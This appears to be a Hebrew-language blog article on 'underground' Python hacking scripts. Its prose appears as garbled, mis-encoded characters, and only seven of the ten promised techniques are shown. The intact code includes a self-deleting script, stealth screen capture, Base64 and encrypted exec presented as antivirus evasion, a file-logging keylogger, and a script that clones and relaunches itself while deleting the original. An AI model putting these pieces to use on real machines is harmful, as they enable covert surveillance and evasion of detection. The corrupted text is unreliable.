Skip to content

๐Ÿ•ต๏ธโ€โ™‚๏ธ๐Ÿ” 10 ืกืงืจื™ืคื˜ื™ื ื”ืืงื™ื ื’ ื‘ืคื™ื™ืชื•ืŸ

ืžืืช: ื ื˜ืœื™ื” ืงืื™ื“ื”

๐Ÿ•ต๏ธโ€โ™‚๏ธ๐Ÿ” 10 ืกืงืจื™ืคื˜ื™ื ื”ืืงื™ื ื’ ื‘ืคื™ื™ืชื•ืŸ
ืจื•ืฆื™ื ืœื“ืขืช ืื™ืš ืกืงืจื™ืคื˜ ืคื™ื™ืชื•ืŸ ื™ื›ื•ืœ ืœืขื‘ื•ืจ ืžื•ื˜ืฆื™ื” ืชื•ืš ื›ื“ื™ ืชื ื•ืขื”, ืœืชืขื“ ื”ืงืฉื•ืช ืžืงืฉื™ื, ืœืฆืœื ืžืกืš ื‘ื—ืฉืื™, ืœืขืงื•ืฃ ืžืขืจื›ื•ืช ื ื™ื˜ื•ืจ ื•ืœื”ืชื‘ืฆืข ื™ืฉื™ืจื•ืช ืžื”ื–ื™ื›ืจื•ืŸ ื”ืคื ื™ืžื™ (RAM)? ื‘ืจื•ื›ื™ื ื”ื‘ืื™ื ืœืขื•ืœื ื”ืžื—ืชืจืชื™ ืฉืœ ื˜ื›ื ื™ืงื•ืช ื”ืืงื™ื ื’, ืฉื‘ื• ื”ื™ืฆื™ืจืชื™ื•ืช ืื™ื ื” ื™ื•ื“ืขืช ื’ื‘ื•ืœื•ืช (ืžืœื‘ื“ ื”ื—ื•ืงื™ื™ื)!
ืœื“ื™ื•ืŸ

0
๐Ÿ•ต๏ธโ€โ™‚๏ธ๐Ÿ” 10 ืกืงืจื™ืคื˜ื™ื ื”ืืงื™ื ื’ ื‘ืคื™ื™ืชื•ืŸ
ื”ืžืืžืจ ืžื‘ื•ืกืก ืขืœ ื”ืคืจืกื•ื "Pythonโ€™s 10 Insane Underground Scripts You Didnโ€™t Know Exist".
ื‘ืžืืžืจ ื–ื” ื ื‘ื—ืŸ ืกื˜ ืฉืœ ื˜ื›ื ื™ืงื•ืช ืžืชืงื“ืžื•ืช ืฉื‘ืืžืฆืขื•ืชืŸ ื ื™ืชืŸ:

  • ืœื”ืฉืžื™ื“ ืงื•ื“ ืžืงื•ืจ ืœืื—ืจ ื‘ื™ืฆื•ืข.
  • ืœืืกื•ืฃ ืžื™ื“ืข ื‘ื—ืฉืื™.
  • ืœืขืงื•ืฃ ืื ื˜ื™-ื•ื™ืจื•ืกื™ื ื•ืžืขืจื›ื•ืช ื ื™ื˜ื•ืจ.
  • ืœื”ืจื™ืฅ ืงื•ื“ ืœืœื ื”ืฉืืจืช ืขืงื‘ื•ืช ื‘ืžืขืจื›ืช ื”ืงื‘ืฆื™ื.
  • ื•ืืคื™ืœื• ืœื”ืชื’ื•ื ืŸ ืžืคื ื™ ื”ื ื“ืกื” ื”ืคื•ื›ื” (reverse-engineering).
    ืœื›ืœ ืื—ื“ ืžื”ืกืงืจื™ืคื˜ื™ื ื”ืœืœื• ื™ืฉ ืฉื™ืžื•ืฉื™ื ืืชื™ื™ื ื•ื’ื ืคื•ื˜ื ืฆื™ืืœ ืžืกื•ื›ืŸ, ื•ืœื›ืŸ ื—ืฉื•ื‘ ืœื”ื“ื’ื™ืฉ: ื›ืœ ื”ืฉื™ื˜ื•ืช ื”ืžืชื•ืืจื•ืช ืฆืจื™ื›ื•ืช ืœืฉืžืฉ ืืš ื•ืจืง ืœืžื˜ืจื•ืช ื—ื•ืงื™ื•ืช, ืชื•ืš ื”ื‘ื ืช ื”ื ื•ืจืžื•ืช ื”ืืชื™ื•ืช ื•ื”ืžื’ื‘ืœื•ืช ื”ืžืฉืคื˜ื™ื•ืช.

ืกืงืจื™ืคื˜ื™ื ื‘ืคื™ื™ืชื•ืŸ ืฉืžืฉืžื™ื“ื™ื ืืช ืขืฆืžื
ืกืงืจื™ืคื˜ื™ื ื›ืืœื” ืฉื™ืžื•ืฉื™ื™ื ื‘ืžืงืจื™ื ืฉื‘ื”ื ืืกื•ืจ ืœื”ืฉืื™ืจ ืืช ืงื•ื“ ื”ืžืงื•ืจ ืœืื—ืจ ื”ื‘ื™ืฆื•ืข โ€” ืœื“ื•ื’ืžื”, ื‘ืžืฉื™ืžื•ืช ื”ืงืฉื•ืจื•ืช ืœืื‘ื˜ื—ื”, ืกื•ื“ื™ื•ืช ืื• ื‘ื“ื™ืงื•ืช ื—ื“ื™ืจื•ืช (pentesting).

๐Ÿ”ง ืื™ืš ืขื•ื‘ื“ื™ื ืกืงืจื™ืคื˜ื™ื ืฉืžืฉืžื™ื“ื™ื ืืช ืขืฆืžื:

  1. ื–ื™ื”ื•ื™ ื”ืงื•ื‘ืฅ ื”ืขืฆืžื™. ื”ืกืงืจื™ืคื˜ ืžื•ืฆื ืืช ื”ื ืชื™ื‘ ืœืงื•ื‘ืฅ ืฉืœ ืขืฆืžื• ื‘ืืžืฆืขื•ืช ื”ืžืฉืชื ื™ื __file__ ืื• sys.argv[0].
  2. ืžื—ื™ืงื” ืขืฆืžื™ืช. ืœืื—ืจ ื‘ื™ืฆื•ืข ื”ืžืฉื™ืžื” ื”ืขื™ืงืจื™ืช, ื”ืกืงืจื™ืคื˜ ืงื•ืจื ืœืคื•ื ืงืฆื™ื” os.remove() ื›ื“ื™ ืœืžื—ื•ืง ืืช ืขืฆืžื• ืžื”ื“ื™ืกืง.
import os
import sys

def main():
    print("ืกืงืจื™ืคื˜ ื–ื” ื™ืฉืžื™ื“ ืืช ืขืฆืžื• ืœืื—ืจ ื”ื‘ื™ืฆื•ืข.")
    # ื›ืืŸ ื™ื›ื•ืœ ืœื”ื™ื•ืช ื”ืงื•ื“ ื”ืจืืฉื™...

    # ื”ืฉืžื“ื” ืขืฆืžื™ืช: ืžื—ืง ืืช ื”ืงื•ื‘ืฅ ื”ื ื•ื›ื—ื™
    try:
        os.remove(__file__)
        print("ื”ื”ืฉืžื“ื” ื”ืขืฆืžื™ืช ืขื‘ืจื” ื‘ื”ืฆืœื—ื”. ืœื”ืชืจืื•ืช!")
    except Exception as e:
        print("ืฉื’ื™ืื” ื‘ืžื”ืœืš ื”ื”ืฉืžื“ื” ื”ืขืฆืžื™ืช:", e)

if __name__ == '__main__':
    main()

โš ๏ธ ืœืื—ืจ ืฉื”ืกืงืจื™ืคื˜ ื™ืžื—ืง ืืช ืขืฆืžื•, ืœื ื ื™ืชืŸ ื™ื”ื™ื” ืœืฉื—ื–ืจ ืื•ืชื• ืœืœื ื’ื™ื‘ื•ื™.

ืœื›ื™ื“ืช ืžืกืš ื—ืฉืื™ืช
ืขื‘ื•ืจ ื‘ื•ื“ืงื™ ื—ื“ื™ืจื•ืช (pentesters) ื—ืฉื•ื‘ ืœืคืขื•ืœ ื‘ื—ืฉืื™ื•ืช. ืื—ื“ ื”ื›ืœื™ื ื”ืฉื™ืžื•ืฉื™ื™ื ื‘ื™ื•ืชืจ ืฉืœ ื”ืืงืจ ืืชื™ ื”ื•ื ืฆื™ืœื•ื ืžืกืš ื—ืฉืื™, ื”ืžืืคืฉืจ ืœื”ืฉื™ื’ ื”ื•ื›ื—ื•ืช ืœืคื’ื™ืขื•ื™ื•ืช ืžื‘ืœื™ ืœืžืฉื•ืš ืืช ืชืฉื•ืžืช ืœื‘ื• ืฉืœ ื”ืžืฉืชืžืฉ.

๐Ÿ”ง ืื™ืš ืขื•ื‘ื“ืช ืœื›ื™ื“ืช ืžืกืš ื—ืฉืื™ืช:

  1. ื™ืฆื™ืจืช ืฆื™ืœื•ื ืžืกืš ืžืœื. ื‘ืืžืฆืขื•ืช ืกืคืจื™ื•ืช ื›ืžื• pyautogui ื•-PIL (Pillow) ื ื™ืชืŸ ืœืฆืœื ืืช ื›ืœ ื”ืžืกืš.
  2. ืฆื™ืœื•ื ืื–ื•ืจ ืžืกื•ื™ื. ื ื™ืชืŸ ืœืฆื™ื™ืŸ ืื–ื•ืจ ืกืคืฆื™ืคื™ ื‘ืžืกืš (ืœืžืฉืœ, ื—ืœื•ืŸ ืื• ื—ืœืง ืžื”ืžืกืš) ืฉื™ืฉ ืœืชืขื“.
  3. ื“ืจื›ื™ื ืœื”ืกืชืจืช ื”ืคืขื™ืœื•ืช. ื›ื“ื™ ืฉื”ืžืฉืชืžืฉ ืœื ื™ื‘ื—ื™ืŸ ื‘ืชื”ืœื™ืš ื”ืฆื™ืœื•ื, ืžืฉืชืžืฉื™ื ื‘ื”ืฉื”ื™ื•ืช ื•ื”ืกื•ื•ืืช ืคืขื•ืœืช ื”ืกืงืจื™ืคื˜.
import pyautogui
import cv2
import numpy as np

def capture_screen(region=None):
    # ืฆืœื ืฆื™ืœื•ื ืžืกืš (ืื ืœื ืฆื•ื™ืŸ ืื–ื•ืจ โ€“ ื–ื” ื™ื”ื™ื” ื›ืœ ื”ืžืกืš)
    screenshot = pyautogui.screenshot(region=region)
    # ื”ืžืจ ืืช ืฆื™ืœื•ื ื”ืžืกืš ืœืžืขืจืš numpy
    frame = np.array(screenshot)
    # ื”ืžืจ ืืช ื”ืชืžื•ื ื” ืž-RGB (PIL) ืœ-BGR (OpenCV)
    frame = cv2.cvtColor(frame, cv2.COLOR_RGB2BGR)
    return frame

if __name__ == '__main__':
    # ืœื›ื™ื“ืช ืื–ื•ืจ ืฉืœ 300x400 ืคื™ืงืกืœื™ื ืžื”ืคื™ื ื” ื”ืฉืžืืœื™ืช ื”ืขืœื™ื•ื ื”
    frame = capture_screen(region=(0, 0, 300, 400))
    cv2.imshow("Stealth Capture", frame)
    cv2.waitKey(3000)  # ื”ืฆื’ ื—ืœื•ืŸ ืœืžืฉืš 3 ืฉื ื™ื•ืช
    cv2.destroyAllWindows()

โš ๏ธ ื ื“ื’ื™ืฉ ื›ื™ ืœื›ื™ื“ืช ืžืกืš ื›ื–ื• ืื™ื ื” ืžืฉืžืฉืช ื‘ื”ื›ืจื— ืœืžื˜ืจื•ืช ื–ื“ื•ื ื™ื•ืช โ€” ื”ื™ื ืฉื™ืžื•ืฉื™ืช ื‘ื‘ื“ื™ืงื•ืช ื—ื“ื™ืจื•ืช ื—ื•ืงื™ื•ืช, ื›ืืฉืจ ื™ืฉ ืฆื•ืจืš ืœืชืขื“ ื›ื™ืฆื“ ื ืจืื™ืช ืคื’ื™ืขื•ืช. ื‘ืžืงืจื” ื–ื”, ื™ืฉ ืœืงื‘ืœ ืื™ืฉื•ืจ ืจืฉืžื™ ืœืฉื™ืžื•ืฉ ื‘ืœื›ื™ื“ืช ืžืกืš โ€” ืื—ืจืช, ื‘ืขืœื™ ื”ืžืฉืื‘ ืขืœื•ืœื™ื ืœืจืื•ืช ื‘ื›ืš ื”ืคืจื” ืฉืœ ื”ื—ื•ืง.

๐Ÿ“š ืžื™ื“ืข ื ื•ืกืฃ:

  • ืžื“ืจื™ืš ืœืœื›ื™ื“ืช ืžืกืš ื‘-ThePythonCode.com
  • ืชื™ืขื•ื“ PyAutoGUI

ื”ืชื—ืžืงื•ืช ืžืื ื˜ื™-ื•ื™ืจื•ืกื™ื ื‘ืืžืฆืขื•ืช ืขึดืจึฐืคึผื•ึผืœ (Obfuscation)
ืชื•ื›ื ื•ืช ืื ื˜ื™-ื•ื™ืจื•ืก ืžืฉืชืžืฉื•ืช ืœืขื™ืชื™ื ืงืจื•ื‘ื•ืช ื‘ื ื™ืชื•ื— ื—ืชื™ืžื•ืช, ื›ืœื•ืžืจ ื”ืŸ ืžื—ืคืฉื•ืช ืชื‘ื ื™ื•ืช ืงื•ื“ ืื•ืคื™ื™ื ื™ื•ืช ื›ื“ื™ ืœื–ื”ื•ืช ืื™ื•ื. ืื ื”ืงื•ื“ ืฆืคื•ื™, ืงืœ ืœื’ืœื•ืช ืื•ืชื•. ืขึดืจึฐืคึผื•ึผืœ ืขื•ื–ืจ ืœื”ืกืชื™ืจ ืชื‘ื ื™ื•ืช ืืœื•, ืžื” ืฉืžืืคืฉืจ ืœืขืงื•ืฃ ื‘ื“ื™ืงื•ืช ืื ื˜ื™-ื•ื™ืจื•ืก ืคืฉื•ื˜ื•ืช.

๐Ÿ”ง ื˜ื›ื ื™ืงื•ืช ืขึดืจึฐืคึผื•ึผืœ ืขื™ืงืจื™ื•ืช:

  1. ืงื™ื“ื•ื“ ืžื—ืจื•ื–ื•ืช. ื‘ืžืงื•ื ืœืื—ืกืŸ ืžื—ืจื•ื–ื•ืช ื‘ืฆื•ืจื” ื’ืœื•ื™ื”, ื ื™ืชืŸ ืœืงื•ื“ื“ ืื•ืชืŸ ื‘ืืžืฆืขื•ืช Base64, ROT13, ืื• ืฉื™ื˜ื” ืžืฉืœื›ื.
  2. ื™ืฆื™ืจืช ืงื•ื“ ื‘ื–ืžืŸ ืจื™ืฆื”. ื‘ืžืงื•ื ืœื›ืชื•ื‘ ืœื•ื’ื™ืงื” ื—ืฉื•ื‘ื” ื™ืฉื™ืจื•ืช, ื ื™ืชืŸ ืœืฉืžื•ืจ ืื•ืชื” ื›ื˜ืงืกื˜ ื•ืœื”ืจื™ืฅ ืื•ืชื” ื‘ืจื’ืข ื”ื ื›ื•ืŸ ื‘ืืžืฆืขื•ืช ื”ืคื•ื ืงืฆื™ื” exec().
import base64

# ืงื•ื“ ืกื•ื“ื™ ื›ืžื—ืจื•ื–ืช
secret_code = "print('ืฉืœื•ื ืžื”ืฆื“ ื”ืืคืœ!')"

# ืงื•ื“ื“ ืืช ื”ืงื•ื“ ื‘-Base64
encoded_code = base64.b64encode(secret_code.encode()).decode()

# ืคืขื ื— ื•ื”ืจืฅ ื‘ื–ืžืŸ ืจื™ืฆื”
exec(base64.b64decode(encoded_code).decode())

โš ๏ธ ื—ืฉื•ื‘:

  • ืขึดืจึฐืคึผื•ึผืœ ืขื•ื–ืจ ืœืขืงื•ืฃ ืžืกื ื ื™ ืื ื˜ื™-ื•ื™ืจื•ืก ืคืฉื•ื˜ื™ื, ื‘ืžื™ื•ื—ื“ ืืœื” ื”ืžืชืžืงื“ื™ื ื‘ื—ืชื™ืžื•ืช, ืืš ืื™ื ื• ืžื’ืŸ ืžืคื ื™ ื ื™ืชื•ื— ืžืชืงื“ื.
  • ื‘ืกื‘ื™ื‘ื” ืžืงืฆื•ืขื™ืช, ื˜ื›ื ื™ืงื•ืช ื›ืืœื” ืžืฉืžืฉื•ืช ื‘ื‘ื“ื™ืงื•ืช ื—ื“ื™ืจื•ืช ื•ื ื™ืชื•ื— ืชื•ื›ื ื•ืช ื–ื“ื•ื ื™ื•ืช.

๐Ÿ“š ื—ื•ืžืจื™ื ืžื•ืžืœืฆื™ื:

  • ื˜ื›ื ื™ืงื•ืช ืขึดืจึฐืคึผื•ึผืœ ื‘-GitHub
  • ืžื“ืจื™ืš ืžืคื•ืจื˜ ืœืขึดืจึฐืคึผื•ึผืœ ืงื•ื“ ืคื™ื™ืชื•ืŸ

ืงื™ื™ืœื•ื’ืจื™ื (Keyloggers) ื—ื‘ื•ื™ื™ื
ืงื™ื™ืœื•ื’ืจ ื”ื•ื ืชื•ื›ื ื” ืฉืขื•ืงื‘ืช ื•ืžืชืขื“ืช ื”ืงืฉื•ืช ืžืงืฉื™ื. ืœืžื˜ืจื•ืช ื—ื•ืงื™ื•ืช, ืงื™ื™ืœื•ื’ืจื™ื ืžืฉืžืฉื™ื ื‘ื‘ื“ื™ืงื•ืช ื—ื“ื™ืจื•ืช โ€” ื›ืžื•ื‘ืŸ, ืจืง ื‘ืื™ืฉื•ืจ ืจืฉืžื™.

๐Ÿ”ง ืื™ืš ืขื•ื‘ื“ ืงื™ื™ืœื•ื’ืจ:

  1. ืžืขืงื‘ ืื—ืจ ืžืงืฉื™ื. ื‘ืืžืฆืขื•ืช ืกืคืจื™ื™ืช keyboard ื ื™ืชืŸ ืœืœื›ื•ื“ ื›ืœ ื”ืงืฉืช ืžืงืฉ ื‘ืžืขืจื›ืช.
  2. ืฉืžื™ืจื” ืื• ืฉืœื™ื—ืช ื ืชื•ื ื™ื. ืžื™ื“ืข ืขืœ ื”ืžืงืฉื™ื ืฉื ืœื›ื“ื• ื ื™ืชืŸ ืœืฉืžื•ืจ ื‘ืงื•ื‘ืฅ ื˜ืงืกื˜ ื•/ืื• ืœืฉืœื•ื— ื“ืจืš ื”ืจืฉืช.
import keyboard
import time

log_file = "keylog.txt"

def on_key_event(event):
    with open(log_file, "a") as f:
        f.write(event.name + " ")

if __name__ == '__main__':
    print("ืงื™ื™ืœื•ื’ืจ ื”ื•ืคืขืœ. ืœื—ืฅ ืขืœ ESC ืœืขืฆื™ืจื”.")
    keyboard.on_press(on_key_event)
    keyboard.wait("esc")

โš ๏ธ ื—ืฉื•ื‘:

  • ืฉื™ืžื•ืฉ ืืชื™ โ€“ ื—ื•ื‘ื”. ืœืขื•ืœื ืืœ ืชืจื™ืฆื• ืงื™ื™ืœื•ื’ืจื™ื ืขืœ ืžื—ืฉื‘ ืฉืœ ืžื™ืฉื”ื• ืื—ืจ ืœืœื ืจืฉื•ืช โ€” ื–ื” ืœื ื—ื•ืงื™ ื•ืขืœื•ืœ ืœื”ื•ื‘ื™ืœ ืœืชื•ืฆืื•ืช ื—ืžื•ืจื•ืช.
  • ื‘ื‘ื“ื™ืงื•ืช ืžื‘ื•ืงืจื•ืช, ื™ืขื™ืœื•ืช ื–ื™ื”ื•ื™ ื”ืงื™ื™ืœื•ื’ืจื™ื ืžืฉืชื ื” ืžืื•ื“. ืœืคื™ InfoSec Write-ups, ื‘ืขืช ืฉื™ืžื•ืฉ ื‘ืขึดืจึฐืคึผื•ึผืœ, ื”ื”ืกืชื‘ืจื•ืช ืœื–ื™ื”ื•ื™ ืงื™ื™ืœื•ื’ืจ ืขืœ ื™ื“ื™ ืื ื˜ื™-ื•ื™ืจื•ืกื™ื ื™ื•ืจื“ืช ืœ-40%.

ืžืืžืจ ื‘ื ื•ืฉื:
๐Ÿ•ต ื›ื•ืชื‘ื™ื ืงื™ื™ืœื•ื’ืจ ื‘ืคื™ื™ืชื•ืŸ ืขื‘ื•ืจ Windows ื‘-5 ื“ืงื•ืช

ืงื•ื“ ืฉืžืฉื›ืคืœ ืืช ืขืฆืžื• ื•ืžืฉื—ื–ืจ ืืช ืขืฆืžื•
ืกืงืจื™ืคื˜ ืฉืžืฉื—ื–ืจ ืืช ืขืฆืžื• (ืื• ืžืฉื›ืคืœ ืืช ืขืฆืžื•) ื™ื•ืฆืจ ืขื•ืชืง ืฉืœ ืขืฆืžื• ื•ืžืคืขื™ืœ ืื•ืชื•. ื–ื•ื”ื™ ื˜ื›ื ื™ืงื” ืžืขื ื™ื™ื ืช, ืฉื‘ื ื•ืกืฃ ืœื‘ื™ืฆื•ืข ืžื˜ืจืชื” ื”ืขื™ืงืจื™ืช, ืขื•ื–ืจืช ืœื”ื‘ื™ืŸ ื˜ื•ื‘ ื™ื•ืชืจ:

  • ืื™ืš ืคื™ื™ืชื•ืŸ ืขื•ื‘ื“ ืขื ื”ืงื•ื“ ืฉืœ ืขืฆืžื• (ืื™ื ื˜ืจื•ืกืคืงืฆื™ื”).
  • ืื™ืš ืœื ื”ืœ ืชื”ืœื™ื›ื™ื.
  • ืื™ืš ืœื”ืฉืชืžืฉ ื‘ืงืœื˜/ืคืœื˜ ืฉืœ ืงื‘ืฆื™ื.
    ืœืžื˜ืจื•ืช ืืชื™ื•ืช, ื’ื™ืฉื” ื›ื–ื• ื™ื›ื•ืœื” ืœืฉืžืฉ, ืœืžืฉืœ, ืœื’ื™ื‘ื•ื™, ื”ืคืขืœื” ืžื—ื“ืฉ, ื”ื“ืžื™ื™ืช ืฉืจื™ื“ื•ืช ืชื”ืœื™ืš ื•ื›ื•'.

๐Ÿ”ง ืื™ืš ืขื•ื‘ื“ ืฉื›ืคื•ืœ ืขืฆืžื™:

  1. ื—ื™ืœื•ืฅ ืงื•ื“ ื”ืžืงื•ืจ. ื‘ืืžืฆืขื•ืช ื”ืคื•ื ืงืฆื™ื” inspect.getsource() ื”ืกืงืจื™ืคื˜ ื™ื›ื•ืœ ืœืงื‘ืœ ืืช ื”ืงื•ื“ ืฉืœ ืขืฆืžื• ื›ื˜ืงืกื˜.
  2. ื™ืฆื™ืจืช ืขื•ืชืง ืฉืœ ื”ืงื•ื‘ืฅ. ื”ืงื•ื“ ื”ืžืชืงื‘ืœ ื ื›ืชื‘ ืœืงื•ื‘ืฅ .py ื—ื“ืฉ (ืœืžืฉืœ, clone_script.py).
  3. ื”ืคืขืœืช ื”ืฉื›ืคื•ืœ. ื”ืงื•ื‘ืฅ ื”ื—ื“ืฉ ืžื•ืคืขืœ ื“ืจืš subprocess.Popen(), ื™ื•ืฆืจ ืชื”ืœื™ืš ื—ื“ืฉ, ื•ื”ืžืงื•ืจ ื™ื›ื•ืœ, ืœืžืฉืœ, ืœื”ืฉืžื™ื“ ืืช ืขืฆืžื•.
import sys
import inspect
import os
import subprocess
import shlex

def clone_and_run():
    # ืงื‘ืœ ืืช ืงื•ื“ ื”ืžืงื•ืจ ืฉืœ ื”ืคื•ื ืงืฆื™ื” ื”ื ื•ื›ื—ื™ืช (ื›ืœ ื”ืกืงืจื™ืคื˜)
    code = inspect.getsource(inspect.currentframe())
    # ืฉื ื”ืฉื›ืคื•ืœ
    clone_filename = "clone_script.py"

    # ื›ืชื•ื‘ ืืช ื”ืงื•ื“ ืœืงื•ื‘ืฅ ื—ื“ืฉ
    with open(clone_filename, "w") as f:
        f.write(code)

    # ื”ืคืขืœ ืืช ื”ืฉื›ืคื•ืœ
    cmd = f"python {clone_filename} 1" # ื”-'1' ื™ื›ื•ืœ ืœื”ื™ื•ืช ืืจื’ื•ืžื ื˜ ืœืžื ื™ืขืช ืจืงื•ืจืกื™ื” ืื™ื ืกื•ืคื™ืช ืื ืœื ืžื˜ื•ืคืœ
    subprocess.Popen(shlex.split(cmd), start_new_session=True)

    print("ื”ืฉื›ืคื•ืœ ื”ื•ืคืขืœ. ื”ืžืงื•ืจ ืžืฉืžื™ื“ ืืช ืขืฆืžื•...")
    os.remove(__file__)  # ืžื—ืง ืืช ื”ืžืงื•ืจ

if __name__ == '__main__':
    # ื‘ื“ื™ืงื” ืคืฉื•ื˜ื” ืœืžื ื•ืข ืžื”ืฉื›ืคื•ืœ ืœืฉื›ืคืœ ืืช ืขืฆืžื• ืžื™ื“ ื‘ืื•ืคืŸ ืื™ื ืกื•ืคื™
    # ื‘ืชืจื—ื™ืฉ ืืžื™ืชื™, ืชืจืฆื” ืœื•ื’ื™ืงื” ื—ื–ืงื” ื™ื•ืชืจ ืื• ื˜ืจื™ื’ืจ ืกืคืฆื™ืคื™.
    if len(sys.argv) < 2: # ื”ืจืฅ ืืช clone_and_run ืจืง ืื ืœื ื”ื•ืขื‘ืจ ืืจื’ื•ืžื ื˜ (ื›ืœื•ืžืจ, ื–ื” ื”ืžืงื•ืจ)
        clone_and_run()
    else:
        print("ื”ืฉื›ืคื•ืœ ืจืฅ. ื”ืžืงื•ืจ ืืžื•ืจ ืœื”ื™ืขืœื.")
        # ืœื•ื’ื™ืงืช ื”ืฉื›ืคื•ืœ ืขืฆืžื• ืชื”ื™ื” ื›ืืŸ

โš ๏ธ ื˜ื›ื ื™ืงื•ืช ื›ืืœื” ืžืฉืžืฉื•ืช ื‘ืชื•ื›ื ื•ืช ื–ื“ื•ื ื™ื•ืช (ื•ืœื›ืŸ ื—ืฉื•ื‘ ืฉืžื•ืžื—ื™ ืื‘ื˜ื—ืช ืžื™ื“ืข ื™ื‘ื™ื ื• ืื™ืš ื”ืŸ ืขื•ื‘ื“ื•ืช).

ื”ืจืฆืช ืงื•ื“ ื‘ื–ื™ื›ืจื•ืŸ ื”-RAM
ื”ืจืฆืช ืงื•ื“ ืจืง ื‘ื–ื™ื›ืจื•ืŸ ื”-RAM, ืœืœื ื›ืชื™ื‘ื” ืœื“ื™ืกืง, ืžืืคืฉืจืช ืœืžื–ืขืจ ืขืงื‘ื•ืช ื‘ืžืขืจื›ืช ื”ืงื‘ืฆื™ื. ื–ื” ืฉื™ืžื•ืฉื™ ื‘ืžื™ื•ื—ื“ ื‘ืžืฆื‘ื™ื ืฉื‘ื”ื ื™ืฉ ืฆื•ืจืš ืœื”ืกืชื™ืจ ืืช ื”ื ื•ื›ื—ื•ืช ื‘ืžืขืจื›ืช โ€” ืœื“ื•ื’ืžื”, ื‘ืžื”ืœืš ื‘ื“ื™ืงื•ืช ื—ื“ื™ืจื•ืช.

๐Ÿ”ง ืื™ืš ื–ื” ืขื•ื‘ื“:

  1. ืงื•ืžืคื™ืœืฆื™ื™ืช ืงื•ื“ ืžืžื—ืจื•ื–ืช. ื‘ืืžืฆืขื•ืช ื”ืคื•ื ืงืฆื™ื” compile() ื ื™ืชืŸ ืœื”ืžื™ืจ ืžื—ืจื•ื–ืช ืขื ืงื•ื“ ืคื™ื™ืชื•ืŸ ืœืื•ื‘ื™ื™ืงื˜ ืงื•ื“ ื‘ืจ-ื‘ื™ืฆื•ืข.
  2. ื‘ื™ืฆื•ืข ื™ืฉื™ืจื•ืช ืžื”ื–ื™ื›ืจื•ืŸ. ืื•ื‘ื™ื™ืงื˜ ื”ืงื•ื“ ื”ืžืชืงื‘ืœ ืžื•ืขื‘ืจ ืœ-exec(), ื•ืžืชื‘ืฆืข ืœืœื ื›ืชื™ื‘ื” ืœื“ื™ืกืง.
    ื ื™ืชืŸ ืœื˜ืขื•ืŸ ื•ืœื”ืจื™ืฅ ืงื˜ืขื™ ืงื•ื“ ืžืžืฉืื‘ื™ ืจืฉืช, ืงื‘ืฆื™ื ืžื•ืฆืคื ื™ื ืื• ืžืกื“ื™ ื ืชื•ื ื™ื.
code_string = """
def greet():
    print('ืฉืœื•ื! ืงื•ื“ ื–ื” ืžืชื‘ืฆืข ื™ืฉื™ืจื•ืช ืžื”ื–ื™ื›ืจื•ืŸ.')

greet()
"""

compiled_code = compile(code_string, '<string>', 'exec')
exec(compiled_code)

โš ๏ธ ืชื•ื›ื ื•ืช ื–ื“ื•ื ื™ื•ืช ืžืฉืชืžืฉื•ืช ื‘ืฉื™ื˜ื•ืช ื›ืืœื” ื›ื“ื™ ืœืขืงื•ืฃ ืื ื˜ื™-ื•ื™ืจื•ืกื™ื.

๐Ÿ‘พ ืกืคืจื™ื™ืช ื”ื”ืืงืจ
ื—ื•ืžืจื™ื ืฉื™ืžื•ืฉื™ื™ื ื ื•ืกืคื™ื ืชืžืฆืื• ื‘ืขืจื•ืฅ ื”ื˜ืœื’ืจื ืฉืœื ื• "ืกืคืจื™ื™ืช ื”ื”ืืงืจ".

ืคืขื ื•ื— ืงื•ื“ ื‘ื–ืžืŸ ืจื™ืฆื”
ื”ืฆืคื ื” ืžื™ื•ืฉืžืช ืœื ืจืง ืขืœ ื ืชื•ื ื™ื ื”ืžื•ืขื‘ืจื™ื ื‘ืจืฉืช, ืืœื ื’ื ืขืœ ื—ืœืงื™ ืงื•ื“, ืฉื ื™ืชืŸ ืœืฉืžื•ืจ ื‘ืฆื•ืจื” ืžื•ืฆืคื ืช ื•ืœืคืขื ื— ืจืง ื‘ื–ืžืŸ ืจื™ืฆืช ื”ืชื•ื›ื ื™ืช. ื–ื” ืขื•ื–ืจ ืœื”ืกืชื™ืจ ืœื•ื’ื™ืงื” ื•ืœื”ื’ืŸ ืขืœ ืงื ื™ื™ืŸ ืจื•ื—ื ื™.

๐Ÿ”ง ืื™ืš ืฉื™ื˜ื” ื–ื• ืขื•ื‘ื“ืช:

  1. ื”ืฆืคื ืช ืงื•ื“. ืžืฉืชืžืฉื™ื, ืœืžืฉืœ, ื‘ืกืคืจื™ื™ืช cryptography.fernet, ื›ื“ื™ ืœื”ืฆืคื™ืŸ ืžื—ืจื•ื–ืช ืขื ืงื•ื“.
  2. ืคืขื ื•ื— ื•ื‘ื™ืฆื•ืข ื‘ื–ืžืŸ ืจื™ืฆื”. ื‘ืจื’ืข ื”ื ื›ื•ืŸ, ื”ืชื•ื›ื ื™ืช ืžืคืขื ื—ืช ืืช ื”ืงื•ื“ ื•ืžืจื™ืฆื” ืื•ืชื• ื‘ืืžืฆืขื•ืช ื”ืคื•ื ืงืฆื™ื” exec().
from cryptography.fernet import Fernet

# ื™ืฆื™ืจืช ืžืคืชื— (ื‘ืชื ืื™ื ืืžื™ืชื™ื™ื ื™ืฉ ืœืื—ืกืŸ ืื•ืชื• ื‘ื‘ื˜ื—ื”!)
key = Fernet.generate_key()
cipher_suite = Fernet(key)

# ืงื•ื“ ืกื•ื“ื™ ืฉืื ื• ืจื•ืฆื™ื ืœื”ืกืชื™ืจ
secret_code = "print('ื”ืงื•ื“ ื”ืกื•ื“ื™ ื”ื–ื” ื”ื•ืฆืคืŸ!')"

# ื”ืฆืคืŸ ืืช ืžื—ืจื•ื–ืช ื”ืงื•ื“
encrypted_code = cipher_suite.encrypt(secret_code.encode())

# ื‘ื–ืžืŸ ืจื™ืฆื”: ืคืขื ื— ื•ื”ืจืฅ
decrypted_code = cipher_suite.decrypt(encrypted_code).decode()
exec(decrypted_code)

โ„น๏ธ ื‘ืฉื™ืžื•ืฉ ื—ื•ืงื™, ืฉื™ื˜ื” ื–ื• ืชืขื–ื•ืจ ืœ:

  • ื”ื’ืŸ ืขืœ ืงื ื™ื™ืŸ ืจื•ื—ื ื™ (ืœืžืฉืœ, ืœื•ื’ื™ืงื” ืขืกืงื™ืช ื—ืฉื•ื‘ื”).
  • ื”ืกืชืจ ื ืชื•ื ื™ื ืกื•ื“ื™ื™ื (ื‘ื–ืžืŸ ืขื‘ื•ื“ื” ืขื ืจื™ืฉื™ื•ื ื•ืช ืื• ืžืคืชื—ื•ืช API).
